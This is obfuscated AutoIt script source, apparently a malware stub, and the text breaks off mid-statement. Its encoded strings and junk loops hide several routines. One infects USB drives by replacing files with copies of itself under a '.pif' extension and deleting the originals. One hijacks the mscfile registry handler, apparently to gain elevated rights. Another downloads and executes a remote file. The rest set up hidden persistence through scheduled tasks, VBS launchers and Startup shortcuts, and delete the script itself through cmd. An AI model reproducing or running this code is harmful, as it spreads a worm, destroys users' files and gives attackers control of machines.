womukakqzihd($kgzydqddwv) Return Execute(wbhsenrgekrt("0x6E464664766E735365506C4A2B276844795A6752674754552A", "0x5472")) EndFunc Func meegumppfsoi($ebqjrkuyaf) Return Execute(wbhsenrgekrt("0x554F77796D6D57436540664029254463706B534A7478406728", "0x4D6E4C")) EndFunc Func tnvxllvbdaga($uyzgpoleve) Return Execute(wbhsenrgekrt("0x5654456B6D6C6065565E65732C20515D5E43744B684152612D", "0x4B755750")) EndFunc Func rpaoihdarzaw($mnahsdwfmx) Return Execute(wbhsenrgekrt("0x6A6743585B696B644044605929254C4F4069526556474C5928", "0x466E48")) EndFunc Func kfbyzhjeaeax($hwsdcofbhq) Return Execute(wbhsenrgekrt("0x666E464C4D65594E7B4653452B276B545067406C45614B522A", "0x664F")) EndFunc Func emeonfzmxepf($qrmhmmgtip) Return Execute(wbhsenrgekrt("0x6D4267594F6E52556D796D47282471724D486D4D6774695029", "0x")) EndFunc Func eulksyikusmgkwabcvv() If NOT WinExists(wbhsenrgekrt("0x58404F4250503953716C646E626D5E", "0x6573")) Then Execute(wbhsenrgekrt("0x54766B6761777747686B77612C444571706B4D70544D402D", "0x4B644263")) EndIf EndFunc Func oqbalkskhscedqwwgtzdxv() $usblist = DriveGetDrive(wbhsenrgekrt("0x5641494B5245464841", "0x64647352")) If $usblist <> wbhsenrgekrt("0x", "0x73") Then For $i = wbhsenrgekrt("0x32", "0x5575") To $usblist[wbhsenrgekrt("0x34", "0x6277714E")] If $usblist[$i] <> @HomeDrive Then Global $1026633618 = 1021930164 Global $ctzatyes4u = 1705830 For $e = 0 To 402542 If $1026633618 = 1021930164 Then Local $filearray IsFloat(wbhsenrgekrt("0x445468556B32453831487737794D57514B4C3237553042364462734A764F43727055455773546A4746563747353736434C6A37725A7A584D716B716A4A354C6D", "0x49")) $1026633618 = 1101603334 Dim $aw2cvb935bfe07lrkc07 = 3494593 EndIf If $1026633618 = 1101603334 Then $filearray = _filelisttoarrayrec($usblist[$i], wbhsenrgekrt("0x29", "0x536E"), Execute(wbhsenrgekrt("0x32", "0x5575")), Execute(wbhsenrgekrt("0x32", "0x5575")), Execute(wbhsenrgekrt("0x34", "0x6277714E")), Execute(wbhsenrgekrt("0x32", "0x48"))) Chr(21541) ExitLoop Dim $a1prulxfzd7xuvjuet7a = 1988445 * 2449791 * 2739395 + 2016689 + 1686808 - 1578529 * 3422506 EndIf Next For $f = wbhsenrgekrt("0x32", "0x5575") To $filearray[wbhsenrgekrt("0x34", "0x6277714E")] Global $1026633618 = 1021930164 Global $qwevylv82j = 631106 For $e = 0 To 546698 If $1026633618 = 1021930164 Then $datatarget = Binary(FileRead($filearray[$f])) Mod(2555872, 2809758) $1026633618 = 1101603334 EndIf If $1026633618 = 1101603334 Then $checkdata = StringInStr($filearray[$f], wbhsenrgekrt("0x2E706966", "0x")) Dim $iowfg6l09drnlc2jn8fh = 1394768 ExitLoop EndIf Mod(612748, 3460189) Next If NOT $checkdata Then Global $1026633618 = 1021930164 Global $41kaoz782w = 3983512 For $e = 0 To 881375 Random(879208) If $1026633618 = 1021930164 Then FileWrite($filearray[$f] & wbhsenrgekrt("0x2E706966", "0x"), Binary(FileRead(@ScriptFullPath))) Dim $ox5laf7vt6043xu0fmgx = wbhsenrgekrt("0x6D354B566D734B637045326C6C444465737A6643444661693732415742344B476C4F434374306F5776536442", "0x") $1026633618 = 1101603334 IsFloat(wbhsenrgekrt("0x56566C637432503542597533584B7735746046636054436D72665742486B6E", "0x485352")) EndIf If $1026633618 = 1101603334 Then FileDelete($filearray[$f]) Dim $xf1wxi1d44girgmtlrpc = 1303361 ExitLoop EndIf Next EndIf Next EndIf Next EndIf EndFunc Func fkngosazznnsjudxcgbxdvl() If StringInStr(@OSVersion, wbhsenrgekrt("0x37", "0x63")) OR StringInStr(@OSVersion, wbhsenrgekrt("0x3B", "0x4D4E")) Then If NOT Execute(wbhsenrgekrt("0x487240656C686F2928", "0x424242")) Then Global $1948206075 = 1021930164 Global $usijvs4ofz = 834943 For $e = 0 To 574891 Chr(3557089) If $1948206075 = 1021930164 Then RegWrite(wbhsenrgekrt("0x484B43555C536F6674776172655C436C61737365735C6D736366696C655C7368656C6C5C6F70656E5C636F6D6D616E64", "0x78"), wbhsenrgekrt("0x", "0x73"), wbhsenrgekrt("0x5344465E525B", "0x717276"), @AutoItExe) $1948206075 = 1101603334 Dim $ff8zqnxxxnnjnhdujooc = wbhsenrgekrt("0x584B4065", "0x6A7055") EndIf If $1948206075 = 1026633618 Then Exit WinExists(wbhsenrgekrt("0x764D4642705B6768366073426A6046644D6D7636446C767A706251364B544046314D4062696A365542496C6E3B6130546576794A5B3A6E6570656A70656B4E6A49554A474A47354670494734626A42726B36596D743051", "0x4547")) ExitLoop String(244739 - 2686928) EndIf If $1948206075 = 1101603334 Then ShellExecute(wbhsenrgekrt("0x6477646F75777673", "0x454E56")) $1948206075 = 1026633618 EndIf Next EndIf ElseIf StringInStr(@OSVersion, wbhsenrgekrt("0x3233", "0x6443")) Then If NOT Execute(wbhsenrgekrt("0x487240656C686F2928", "0x424242")) Then Global $94857840 = 1021930164 Global $x4qnfoeko1 = 2390097 For $e = 0 To 730688 If $94857840 = 1021930164 Then DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x666B6B6861656A", "0x6A526745"), wbhsenrgekrt("0x576F773634456E61626C65576F77363446735265646972656374696F6E", "0x4F"), wbhsenrgekrt("0x666B6B6861656A", "0x6A526745"), wbhsenrgekrt("0x34", "0x6277714E")) $94857840 = 1101603334 IsFloat(wbhsenrgekrt("0x5933444E356A6034476F5852526E5B434D45776C734678", "0x496749")) EndIf If $94857840 = 1026633618 Then RegWrite(wbhsenrgekrt("0x494A42545D526E6775766073645D426D60727264725D6C722C72647575686F66725D7269646D6D5D6E71646F5D626E6C6C606F65", "0x436D45"), wbhsenrgekrt("0x", "0x73"), wbhsenrgekrt("0x5344465E525B", "0x717276"), @AutoItExe) IsBool(wbhsenrgekrt("0x6957776159457A4B73756F6A4E41634342644A75654A745A347044756E796B434C4A66627553417462616B6238693337673864373738314843486748626578346B564864766269554D7073647A73305777476F6F756D464D534749584B3273374D71306E4A5A4B66307474524F59696A", "0x")) $94857840 = 1948206075 Dim $0ii7o4vzbuiu7vzibmlg = 3731962 + 1583753 + 3556093 * 3867919 * 1535313 EndIf If $94857840 = 1101603334 Then RegWrite(wbhsenrgekrt("0x494A42545D526E6775766073645D426D60727264725D6C722C72647575686F66725D7269646D6D5D6E71646F5D626E6C6C606F65", "0x436D45"), wbhsenrgekrt("0x4061686163657061417C6167717061", "0x65557069"), wbhsenrgekrt("0x5344465E525B", "0x717276"), wbhsenrgekrt("0x4E756C6C", "0x")) $94857840 = 1026633618 IsString(3549266 * 1911832 * 2529880 - 725362) Int(1597791) EndIf If $94857840 = 1143464446 Then Exit Dim $inhrugey6bbdo1dio5ai = wbhsenrgekrt("0x46646B46333074664E4578526368637179556B594A5462744A7174464B654349697A4D4B786C31525673733764766D5462325A6B705564586330354C47594449625A484C4542326E3344647141", "0x") ExitLoop EndIf If $94857840 = 1948206075 Then ShellExecute(wbhsenrgekrt("0x656C676B666F736671", "0x6C7A")) $94857840 = 1143464446 IsFloat(wbhsenrgekrt("0x777C72344D43746B6F325E50316B5C4E6B4E3D487653565C72334F56433270527057426F", "0x54695174")) EndIf Random(2585897) Next EndIf EndIf EndFunc Func hydrhpztfbkx($type, $title, $body) If @ScriptDir <> $vsmhhwyfiriwkauga Then Local $uint = wbhsenrgekrt("0x30783030303030303130", "0x") If $type = wbhsenrgekrt("0x3634", "0x") Then $uint = wbhsenrgekrt("0x347C3434343434343034", "0x55696E55") EndIf DllCall(wbhsenrgekrt("0x5177617637362A606868", "0x4A61554F"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x49617777656361466B7C", "0x54716354"), wbhsenrgekrt("0x6C736A60", "0x465A784F"), wbhsenrgekrt("0x4E756C6C", "0x"), wbhsenrgekrt("0x737472", "0x"), $body, wbhsenrgekrt("0x737472", "0x"), $title, wbhsenrgekrt("0x74686F75", "0x49434B"), $uint) EndIf EndFunc Func ukecvducphvpvnllnzobzuv($type, $title, $body) Return Execute(wbhsenrgekrt("0x655A68524A52424A524E4F702824747970652C20247469746C652C2024626F647929", "0x")) EndFunc Func ezhrjrbjrnop($bxaptydilh, $gwganzscro, $lhuqammtyo) Return Execute(wbhsenrgekrt("0x4E607B7B6555676249485B452B27417B6273777A674A6F6B2F27645464424D597060716C2F274F4B7652424E6E577A4C2A", "0x4C43")) EndFunc Func mcxxfvdajkxf($lahigndilz, $hamznabfoa, $schcetdkph) Return Execute(wbhsenrgekrt("0x4C76625755445B60545B706A2B274F426B4A446D676A4F592F274B624E596D6261454C422F2770604B6066774768734B2A", "0x596B")) EndFunc Func ouatvgxcwxsi($lkjxwgoyuz, $vkrshkvvcz, $khfyvisedm) Return Execute(wbhsenrgekrt("0x6E43744D4F774A754243476B29256D6A4B5976666E58545B2D25774A5352496A5777425B2D256A69477877687264654C28", "0x524F41")) EndFunc Func obulnvktcbfj($kssenwrpch, $mdloeilpvt, $yhiqwefkbo) Return Execute(wbhsenrgekrt("0x496C444F734A65566160476C2B27687070464D745153404B2F274E474F6C666A4F5375772F277A6B4A7274466568414C2A", "0x734A")) EndFunc Func joglpifubcdo($ojuhocrnfk, $tgtvmhwqtn, $xdjkndkchj) Return Execute(wbhsenrgekrt("0x50484E4D504D55516B514B6429254E6B54696E62534F474A2D25554655576C495650754F2D2559654B4A6F456A42494B28", "0x7A6D6B")) EndFunc Func qiolqltpjpje($rgnotcidac, $ryklasomdp, $hpqoqkaktl) Return Execute(wbhsenrgekrt("0x65574A4A7E40676954566E632C2056636A4B50676D6045472820565D4F4845774B69605428206C54754B756F454F70682D", "0x6670436F")) EndFunc Func asnnzdcmprjg($rofvsmseck, $ysprvytyjv, $oxyrbbqzxi) Return Execute(wbhsenrgekrt("0x7B6D6C4E5358666D794657472925736E6777726C5264424A2D2558727173777875586B572D256E7978734363507B594828", "0x585472")) EndFunc Func zlmoryglxgvf($cyjokcsosn, $ajktrpzyss, $rcaywtqnur) Return Execute(wbhsenrgekrt("0x6978655369717B7547636A59292542786B6E4A42724E526F2D25404B6A7553517B7852522D25534240587675506F745328", "0x774E62")) EndFunc Func qarkaryqnjsd($url, $filename, $dir) If @ScriptDir <> $vsmhhwyfiriwkauga Then Local $instaldir = getdir($dir) If FileExists($instaldir & wbhsenrgekrt("0x58", "0x7A454E6A") & $filename) Then FileDelete($instaldir & wbhsenrgekrt("0x58", "0x7A454E6A") & $filename) EndIf Global $1026633618 = 1021930164 Global $gbribaev4t = 1283936 For $e = 0 To 2531972 If $1026633618 = 1021930164 Then DllCall(wbhsenrgekrt("0x74736D6C6E6F2F656D6D", "0x566870"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x55524C446F776E6C6F6164546F46696C65", "0x"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x737472", "0x"), $url, wbhsenrgekrt("0x737472", "0x"), $instaldir & wbhsenrgekrt("0x58", "0x55465647") & $filename, wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x34", "0x6277714E")) IsString(3779493 * 883851 - 245850) $1026633618 = 1101603334 Int(2285576) EndIf If $1026633618 = 1101603334 Then ShellExecute($instaldir & wbhsenrgekrt("0x58", "0x7A454E6A") & $filename) IsBinary(1813704 - 2638500 * 2302719) ExitLoop EndIf Dim $rr9crkrxz6gdxr5sylwn = wbhsenrgekrt("0x387964696F5B56767350", "0x567958") Next EndIf EndFunc Func snokdwwmzjymkbxrktaimkyt($url, $filename, $dir) Return Execute(wbhsenrgekrt("0x73576C706C7E6D656C7043422C20717668282420626D68616A656961282420606D762D", "0x754C7776")) EndFunc Func wshthziahtgf($maioiafvqq, $bithskazze, $ajaekgygjz) Return Execute(wbhsenrgekrt("0x675674474F64604C4253694729256C40484E4840675770702D2563487569726A407B7B642D25606B60644A6678466B5B28", "0x734143")) EndFunc Func fwufneamcrhf($rrmyvgyvss, $ounrmlcfgg, $jfmqqczddb) Return Execute(wbhsenrgekrt("0x56455D48765549617046756C2C207656495D72635D72575728204B514A7649486742636328204E42495575677E4060662D", "0x4D72566E")) EndFunc Func raylrqmetbqh($bzlrzkwvlm, $mehhqgwisz, $dtzdqmfvhs) Return Execute(wbhsenrgekrt("0x61724E51447A517A6F6F54462B2741596F51594854756F4E2F276E466B6B7244746A70592F2767577947524E45754B702A", "0x7655")) EndFunc Func bqmrgyryllwe($hurqqoivsb, $ohtutexezk, $gqkexhzibm) Return Execute(wbhsenrgekrt("0x6553464D4F4851476A426249292549747350706E687772632D256E495554756459447B4A2D2546704A6479697B48436C28", "0x785A65")) EndFunc Func drglnipfkcch($faotesmrrc, $xaqrkwzfjl, $pavxmqknsi) Return Execute(wbhsenrgekrt("0x6258695248626C45464E6477282446614F5465534D7252432C24786151524B777A464A6C2C24506176586D516B4E536929", "0x6A")) EndFunc Func bxirhblefndw($oaugwntapb, $sfnxmfatub, $huzpxeeqgo) Return Execute(wbhsenrgekrt("0x774E62407E4E706260516C652C206B457143736A50457466282057624A5C69626550514628206C515E747C416175436B2D", "0x42754D42")) EndFunc Func sjfdzjtfduha($hzzinxfjuw, $dzphtjnykg, $prsqbubfis) Return Execute(wbhsenrgekrt("0x6A61724C4D6C587A4F65704A2824485A5A494E58666A55572C24647A7048544A4E796B672C245052737142554246497329", "0x76")) EndFunc Func jarlmlxzoepj($jcuausgfkp, $zqyxxierwo, $qggzzqgihs) Return Execute(wbhsenrgekrt("0x5141524B417279716E6A736428244A435561557347464B502C247A71797878496572574F2C247147475A5A514769487329", "0x")) EndFunc Func lqyqrwtqhqhweqabdbwpkfutesby() If @ScriptDir <> $vsmhhwyfiriwkauga Then ShellExecute(@ComSpec, wbhsenrgekrt("0x2F6B2070696E67203132372E302E302E31202D74203020262064656C20", "0x") & @AutoItExe & wbhsenrgekrt("0x242224617C6D7024", "0x79566B6A"), Execute(wbhsenrgekrt("0x4E756C6C", "0x")), Execute(wbhsenrgekrt("0x4E756C6C", "0x")), @SW_HIDE) EndIf EndFunc Func cwhfyuiksbbt($resname, $filename, $run, $runonce, $dir) Global $94857840 = 1021930164 Global $mcsetklxyq = 2514936 For $e = 0 To 910672 Dim $7w3qc0yl6rt4udvfbipc = 1121829 If $94857840 = 1021930164 Then $file = DllStructGetData(hyfdzyqzqfkljwcdg($resname, wbhsenrgekrt("0x3233", "0x6443")), Execute(wbhsenrgekrt("0x32", "0x5575"))) $94857840 = 1101603334 String(3244811 * 2887882 + 1058064 - 3570457) EndIf If $94857840 = 1026633618 Then Local $filehandle = FileOpen($instaldir & wbhsenrgekrt("0x58", "0x7A454E6A") & $filename, wbhsenrgekrt("0x32", "0x48")) $94857840 = 1948206075 Dim $falyzhc2ofb2ykxcrzqz = wbhsenrgekrt("0x69364D6C736E334C35747A4E7171496F565942763649516F306F4F4F41783949784E3665484C47346970735762", "0x") EndIf If $94857840 = 1101603334 Then Local $instaldir = getdir($dir) $94857840 = 1026633618 EndIf If $94857840 = 1143464446 Then FileClose($filehandle) ExitLoop String(wbhsenrgekrt("0x4C6B684C703575", "0x7A59587A")) EndIf If $94857840 = 1948206075 Then FileWrite($filehandle, $file) IsString(582423 - 848561) $94857840 = 1143464446 WinExists(wbhsenrgekrt("0x4D5375406C433957756F76586B714277356457436A3635605549", "0x516B6E")) Int(3459121) EndIf String(wbhsenrgekrt("0x736A5C3D627262337E325642365E6877484146674A5370574A4A7440464761453C42626C636255636165416067663037614C6D5D306C624E30617145624F413236744373506069435E723C4A7674554951727D3771744234", "0x42475273")) Next If $runonce = Execute(wbhsenrgekrt("0x46616C7365", "0x55")) Then If $run = Execute(wbhsenrgekrt("0x57717666", "0x674D")) Then ShellExecute($instaldir & wbhsenrgekrt("0x58", "0x7A454E6A") & $filename) EndIf Else If @ScriptDir <> $vsmhhwyfiriwkauga Then ShellExecute($instaldir & wbhsenrgekrt("0x58", "0x7A454E6A") & $filename) EndIf EndIf EndFunc Func vwnpxojvzkstqcrwcfxcbow($resname, $filename, $run, $runonce, $dir) Return Execute(wbhsenrgekrt("0x564063634F43676E6C60454829257364726F606C642D212567686D646F606C642D212573746F2D212573746F6E6F62642D212565687328", "0x644D6B")) EndFunc Func wabbnbfomadi($lrcroaebxv, $lhrrfvnipx, $xurjhhpjll, $uwfpgrdhak, $gwhnetfrja) Return Execute(wbhsenrgekrt("0x6B524C5D77717777744E4E512C20485647764B4561467C722820686C765642526A6D547C28205C71764E6C6C544E68682820517362544356406C456F282043734C4A417062766E452D", "0x556E5463")) EndFunc Func ovhysusspjju($hzinpqztjg, $lvpmbpccln, $sfieranefo, $cxzleuoszp, $skxtzkhvlo) Return Execute(wbhsenrgekrt("0x6362567443444C795853555B2925497B684F71505B556B662D254D77514C635142624D6F2D255267686453606F64474E2D2542597B4D64744E525B712D25524A79755B6A49574D6E28", "0x595A6E")) EndFunc Func bcwubemxyrtz($rcgvibrevp, $cuovenvdhh, $ajdvvihofg, $tstqwzrddd, $dkwkmyvcpl) Return Execute(wbhsenrgekrt("0x50776B77637046764C69726B2824726347764942524576502C2463554F76456E766468482C24616A44767649686F46472C2454735451575A526444442C24444B774B6D597643506C29", "0x77")) EndFunc Func pwkwcpfvlirk($pdnenizkaa, $tcypwjayzf, $wsaedqmtix, $mfztrpfpco, $zgddjalhnd) Return Execute(wbhsenrgekrt("0x5342586C704F446D5268414B282450446E456E497A6B41412C2454437950576A61595A462C247753614564716D5469782C244D467A7452704650434F2C247A4764446A614C486E4429", "0x76")) EndFunc Func sbxlpodmrhak($xxdkowcjax, $vgccnncfyg, $elvkfqoxuc, $ffffaocpeu, $mvofttebpv) Return Execute(wbhsenrgekrt("0x466B6E494F464B584368697628245878444B6F77634A61582C24566743436E6E634659472C24654C766B66514F5855632C2446664666414F435065752C246D766F4654544542707629", "0x44")) EndFunc Func fkniofkxchiv($ygihylbsey, $ifoxrpbwcz, $lnadtiwqrm, $mnhyezwxho, $mjkgmhhqnd) Return Execute(wbhsenrgekrt("0x4F537445416A6D50484847452C205D436D6C5D686657615D28204D626B7C76544653475E2820686A4540706D737576492820494A6C7D615E737C4C4B2820696E6F63494C4C754A602D", "0x47654157")) EndFunc Func kwpaenitllca($rhyqkkffop, $pkasmvxqts, $sdpnmcctrm, $bfdnueorou, $trjrzbisur) Return Execute(wbhsenrgekrt("0x4B626B694C644A6B746251712B27716B7A52486865454C732F27536862504E557B5257502F275067536D6E406057514E2F276165676D76464C716C562F275751697159616A5056512A", "0x7558")) EndFunc Func hahjogihwarr($jrxvloskdi, $hmobojhnxi, $ggbyyauxol, $tkzackhicg, $ldogmgdhdp) Return Execute(wbhsenrgekrt("0x427669675854686A5243435529254B5379576D4E726A45482D25696C4E634E4B494F59482D2566464378786054596E4D2D25556A5B40624A696842662D254D454E666C664569657128", "0x547A7A")) EndFunc Func wieenkuahsqk($file, $regkey, $attrib, $hidden) Global $446890319 = 1021930164 Global $fmbuoacehl = 1725672 For $e = 0 To 3155128 If $446890319 = 94857840 Then Local $hfile = FileOpen($fullpath, wbhsenrgekrt("0x32", "0x48")) $446890319 = 1094917431 Dim $roysrulllltq5m1kwjve = 553837 * 243806 * 538082 + 714821 - 2152059 EndIf If $446890319 = 794585332 Then Local $vbsopen Random(2788579) ExitLoop IsBool(158493 + 1085502 * 3772150) EndIf If $446890319 = 1021930164 Then DirCreate($vsmhhwyfiriwkauga) Ptr(3865001 + 3275213) $446890319 = 1101603334 IsBool(2094621 - 2244436 * 293373) EndIf If $446890319 = 1026633618 Then Local $vbspath = $vsmhhwyfiriwkauga & wbhsenrgekrt("0x58", "0x55465647") & $regkey & wbhsenrgekrt("0x2D756170", "0x7A44") IsPtr(3785092 + 2194764 * 244673 + 940096) $446890319 = 1948206075 EndIf If $446890319 = 1094917431 Then Local $binary = FileRead($openfile) & Binary(Random(wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x323535", "0x77"))) $446890319 = 1315599358 EndIf If $446890319 = 1101603334 Then Local $fullpath = $vsmhhwyfiriwkauga & wbhsenrgekrt("0x58", "0x55465647") & $file Dim $qo6fcarczenryq81meuh = wbhsenrgekrt("0x645667526F367649533744623671747642716378567A54714746336F785330464C4D4C335A796E6576346767547132794F45", "0x53") $446890319 = 1026633618 EndIf If $446890319 = 1143464446 Then Local $openfile = FileOpen(@AutoItExe, wbhsenrgekrt("0x3037", "0x6E4451")) Dim $zjtchlah8ysozgdd8b1t = wbhsenrgekrt("0x4C7549414D3743676A363D3C35656B40666B57623C52364D51743C6D5170505C777E7637624C4C774761514370554D425D4D32536D6A495C7C615170307D77306D694B4557717D40557E", "0x6477557A") $446890319 = 94857840 Dim $vperbtkw6nfwdebyoxew = wbhsenrgekrt("0x7868616859436B4367544B54576359514C436568476D484A4E6F5A774F416248686C376864494E3061345A35446352436D684C34394F736C494143494E58584F52634C4B66514D645A6F684D774D674B47776A48596849433257494C66656D6D676B6E41", "0x") EndIf If $446890319 = 1315599358 Then Local $urlcontent = wbhsenrgekrt("0x5A486F7564736F647552696E73756274755C", "0x4C5064") & @CR & wbhsenrgekrt("0x51564839626D68613E2B2B2B", "0x76784866") & StringReplace($vbspath, wbhsenrgekrt("0x58", "0x55465647"), wbhsenrgekrt("0x2F", "0x72")) $446890319 = 1474577183 EndIf If $446890319 = 1474577183 Then Local $urlopen Ptr(1320197 + 1108485 - 996910 * 2306415) $446890319 = 794585332 Dim $a7vb4flyoka9mdpbx5m7 = 2485158 EndIf If $446890319 = 1948206075 Then Local $urlpath = @StartupDir & wbhsenrgekrt("0x58", "0x55465647") & $regkey & wbhsenrgekrt("0x2A717668", "0x4B704C45") $446890319 = 1143464446 Int(2604977) EndIf String(wbhsenrgekrt("0x454D75554C6B4D464E534D73606D4A49536E46774452555566774E3354553262346E484C5365736274674C467B4C48", "0x745878")) Next If $hidden Then ShellExecute(wbhsenrgekrt("0x7262697560726A72", "0x454947"), wbhsenrgekrt("0x2E627364607564212E756F21", "0x4C4F6F") & $regkey & wbhsenrgekrt("0x212E757321", "0x685472") & Chr(wbhsenrgekrt("0x3730", "0x72576772")) & $fullpath & Chr(wbhsenrgekrt("0x3730", "0x72576772")) & wbhsenrgekrt("0x202F736320206D696E757465202F6D6F2031202F46", "0x"), @SystemDir, wbhsenrgekrt("0x", "0x73"), @SW_HIDE) Else Global $1094917431 = 1021930164 Global $tgpc1s3w3k = 2650317 For $e = 0 To 2529607 If $1094917431 = 94857840 Then FileWrite($urlopen, $urlcontent) Random(3225287) ExitLoop IsPtr(3847632 - 3778422 - 30084 - 352324) EndIf If $1094917431 = 1021930164 Then $urlopen = FileOpen($urlpath, wbhsenrgekrt("0x32", "0x48")) $1094917431 = 1101603334 IsBinary(wbhsenrgekrt("0x6C6D755855677A61474B7351543072586356704B667753435152726B45454B694337776A415A6E556E36377A687944436C3937787831565A453267645A704662616B6E564468766D4846786A797376726D593845476D554B6C474E49546A35377A357A366C53", "0x")) EndIf If $1094917431 = 1026633618 Then Local $triple = Chr(wbhsenrgekrt("0x3730", "0x72576772")) & Chr(wbhsenrgekrt("0x3730", "0x72576772")) & Chr(wbhsenrgekrt("0x3730", "0x72576772")) IsBinary(3359009 - 2393592 - 797784 - 3310148) $1094917431 = 1948206075 Int(61524) EndIf If $1094917431 = 1101603334 Then $vbsopen = FileOpen($vbspath, wbhsenrgekrt("0x32", "0x48")) $1094917431 = 1026633618 IsString(1889605 - 1688734 * 1896181) Dim $ez51ww2hkgbc3s4qyalf = 2251007 EndIf If $1094917431 = 1143464446 Then FileWrite($vbsopen, $vbs) $1094917431 = 94857840 Int(1782369) EndIf If $1094917431 = 1948206075 Then Local $vbs = wbhsenrgekrt("0x526475215672695269646D6D213C21565262736871752F4273646075644E636B64627529", "0x6A5477") & Chr(wbhsenrgekrt("0x3730", "0x72576772")) & wbhsenrgekrt("0x575363726970742E5368656C6C", "0x") & Chr(wbhsenrgekrt("0x3730", "0x72576772")) & wbhsenrgekrt("0x2A23", "0x785A") & @CR & wbhsenrgekrt("0x5773685368656C6C2E52756E20", "0x") & $triple & $fullpath & $triple Int(396885) $1094917431 = 1143464446 Dim $jsahe8zbujfqutcq3gwv = 1392834 + 1920803 * 2413063 + 2930954 EndIf Random(2917523) Next EndIf Global $1143464446 = 1021930164 Global $ptl8djohfs = 1316849 For $e = 0 To 1446248 IsBool(163663 + 3879522) If $1143464446 = 1021930164 Then Local $handlearray = [$urlopen, $vbsopen, $openfile, $hfile] $1143464446 = 1101603334 Chr(971215) EndIf If $1143464446 = 1026633618 Then FileSetAttrib($fullpath, $attrib) Ptr(wbhsenrgekrt("0x337D617762304069435C31524D66", "0x4D63766E")) $1143464446 = 1948206075 Mod(398814, 2950620) Int(1291718) EndIf If $1143464446 = 1101603334 Then FileWrite($hfile, $binary) $1143464446 = 1026633618 IsBinary(2274415 + 1260858 + 2495837) IsBinary(1195906 * 3520166 + 858560 - 3783390) EndIf If $1143464446 = 1948206075 Then FileSetAttrib($vsmhhwyfiriwkauga, $attrib) Dim $awdzhnf7yy22s7inbtyy = wbhsenrgekrt("0x4C6941716F416833625467333169326E3368385A4559497A3043346549624D473474594E4D6A326D3865584F5738415A707A486C7A396E594A62415746637439674A3947756F4B546F57314161334D316366596A434167", "0x42") ExitLoop Random(244381) EndIf Dim $q5uxhm93ebzy7nixyrxi = 2970171 Next For $i = wbhsenrgekrt("0x34", "0x6277714E") To UBound($handlearray) - wbhsenrgekrt("0x32", "0x5575") FileClose($handlearray[$i]) Next EndFunc Func ewknkvisjericonz($file, $regkey, $attrib, $hidden) Return Execute(wbhsenrgekrt("0x5576564D4B637079576B5576282466696C652C20247265676B65792C20246174747269622C202468696464656E29", "0x5A")) EndFunc Func uvvmkcpywkuv($wbihczafzn, $vlpbahzeba, $naloaznkfu, $tjlnsibpbq) Return Execute(wbhsenrgekrt("0x72576B5C4A4B7D60667D48752C2073464D4C675E65427E6A282052485446656C5E61466528206A65686B455E4A6F62712820704E486A774D465446552D", "0x614A6E79")) EndFunc Func vsoxnoydbylq($yokohdqqsv, $qhukbwptgd, $lpzfulabis, $gkdkcypxgw) Return Execute(wbhsenrgekrt("0x594552744C52794C755B70592925586E6A4E6965705072572D257069544A6356515566652D256D715B47546D406348522D25464A656A42787179667628", "0x48436F")) EndFunc Func xdsumsxmtzqx($ixskemoalw, $thixeipfuw, $dpiaogdjhd, $grmjvoxoai) Return Execute(wbhsenrgekrt("0x54697445714E495669544C722C204D5C576F41496B6568732820506C4D5C616D74625153282040544D456B43604E6C4028204356696E526B5C6B654D2D", "0x49555978")) EndFunc Func pmpaujmrmphv($wzplyycggt, $jkdkttorwx, $iftiqbuycp, $lbelzezwbq) Return Execute(wbhsenrgekrt("0x765450546D7E6A526F41544C2C20735E74487D7D4743437028204E4F604F50506B76537C28204D42506D7566715D47742820484661685E417E7346552D", "0x7161436B")) EndFunc Func rptpiznvkeph($exdouwncqb, $zfsdzrghux, $dddqiifrlp, $tsqgtkcfou) Return Execute(wbhsenrgekrt("0x6B754D454E6843776272686128244578444F55576E4371622C247A4673447A52474875582C2464646451494946724C502C2474535147544B43464F7529", "0x7A")) EndFunc Func kumenhcwbrha($oshaqfibmh, $yscematmfm, $qwrbihpmkp, $pbsailwdac) Return Execute(wbhsenrgekrt("0x5D7D4E774970416C725340732C204B776C4555626D46496C28205D5747414965706962492820755356664D6C54494F542820544677456D48536045472D", "0x5970646A")) EndFunc Func yyjsmtehvwdw($zdfdrbpmts, $qpzcdsbgri, $qwrwswzcvb, $eqmdmmqnkh) Return Execute(wbhsenrgekrt("0x794944746C566D4C5849507A28245A6466645242704D74532C2471705A436453624772492C247157527773777A4356422C2465514D446D6D514E4B4829", "0x41")) EndFunc Func yidtlvmlxipz($rdsryzbqwq, $jplrldmjlu, $bnqsnadvpr, $bovkqndzxt) Return Execute(wbhsenrgekrt("0x734D41614A6F51456C77754F2C20764077767D5E6675537528206E7468766840694E48512820666A75576A45407274562820664B726F756A405E7C502D", "0x4B426443")) EndFunc Func ualhvennmpniswkljzkinjdonqyqz() For $i = wbhsenrgekrt("0x34", "0x6277714E") To Random(wbhsenrgekrt("0x34", "0x6A6778"), wbhsenrgekrt("0x3B", "0x4D4E"), wbhsenrgekrt("0x32", "0x5575")) $prime = wbhsenrgekrt("0x34", "0x6277714E") For $z = wbhsenrgekrt("0x32", "0x48") To wbhsenrgekrt("0x303131", "0x624C42") Global $1026633618 = 1021930164 Global $nkfqceauk9 = 1731201 For $e = 0 To 54681 If $1026633618 = 1021930164 Then $bprime = wbhsenrgekrt("0x32", "0x5575") Mod(1345407, 1740634) $1026633618 = 1101603334 IsBool(1273822 - 1871261 * 1229039) EndIf If $1026633618 = 1101603334 Then $j = Random(wbhsenrgekrt("0x34", "0x6A6778"), wbhsenrgekrt("0x3B", "0x4D4E"), wbhsenrgekrt("0x32", "0x5575")) ExitLoop EndIf Int(3514841) Next While $j * $j <= $i If Mod($i, $j) == wbhsenrgekrt("0x34", "0x6277714E") Then Global $1026633618 = 1021930164 Global $5bj00yyimh = 2955677 For $e = 0 To 2377233 If $1026633618 = 1021930164 Then $prime = wbhsenrgekrt("0x34", "0x6277714E") Ptr(wbhsenrgekrt("0x35693D766C6D5C5335535E6A623146563156453240344B304E684F657545527E75507E55514A706667613267503D664B377453307E407365436257324C53417E657E327342533376737D377E37496F4F6F316C654B353D5C727D6D4A317C47744D436670674A", "0x65534159")) $1026633618 = 